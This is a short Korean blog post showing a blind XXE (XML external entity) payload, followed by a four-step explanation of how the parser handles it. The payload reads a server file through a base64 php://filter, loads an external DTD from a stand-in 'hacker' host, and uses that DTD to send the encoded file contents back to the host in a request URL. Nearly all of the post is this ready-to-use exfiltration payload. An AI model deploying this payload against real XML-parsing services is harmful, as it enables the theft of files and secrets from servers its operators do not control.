WEB

Blind XXE

NGA_ 2019. 8. 7. 01:07

Payload

 

<!DOCTYPE nga [

  <!ENTITY % read SYSTEM "php://filter/convert.base64-encode/resource=somethings">
  <!ENTITY % dtd SYSTEM "https://hacker/xxe.dtd">
  %dtd;

]>
<nga>&request;</nga>

 

hacker dtd file

 

<!ENTITY % all "<!ENTITY request SYSTEM 'https://hacker/recive?%read;'>">

%all;

 

 

XML 파싱 과정

1. ENTITY %read 에 특정 파일을 읽어 들인다.

2. ENTITY %dtd 로 외부 xxe.dtd 를 불러온다.

3. xxe.dtd 에서 https://hacker/recvie?%read; 로 요청을 하는 request ENTITY 를 만든다. %read 는 파일 내용으로 바뀐다.

4. &request 를 파싱하게 한다.